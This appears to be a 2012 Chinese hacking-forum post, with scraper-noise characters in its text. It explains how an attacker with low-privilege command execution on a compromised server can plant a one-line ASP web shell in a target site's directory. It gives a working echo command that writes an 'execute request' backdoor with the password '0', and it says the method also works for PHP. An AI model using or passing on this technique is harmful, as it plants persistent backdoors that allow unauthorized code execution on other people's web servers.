在旁注过程中，可以执行cmd而权限又比较低的情况下，有时候可以用这个方法帮你拿下目标站。$ N( ?; S# ^2 S& |7 E
: \4 q x: e- Q2 I' L命令格式) d8 b# l9 u) H; \7 ?' [. V# F, o
9 v- n' X6 n, }* Z7 G
Echo 语句 >目标站绝对目录
4 Z2 R- T$ b3 L# p8 ?; |: A( W9 L* T1 u% e. C4 |
例如：
' n3 Y" M5 a8 F) \) A* ^: x7 s3 F& ~/ D" l6 v1 _; D8 u
echo ^<^%execute request("0")%^> >D:\03389.com\wwwroot\YingMu.asp3 H1 h. d+ R, ~4 b: I; e# j
: s1 T$ k3 y& z) F6 s. C3 m
这样访问目标站的目录下就会生成一个密码为0的asp的一句话，此方法在PHP等脚本语言均适用，大家灵活发挥。
4 K# ]8 { y* G8 w* A |
发表于 2012-9-23 14:40:24
收藏
支持
反对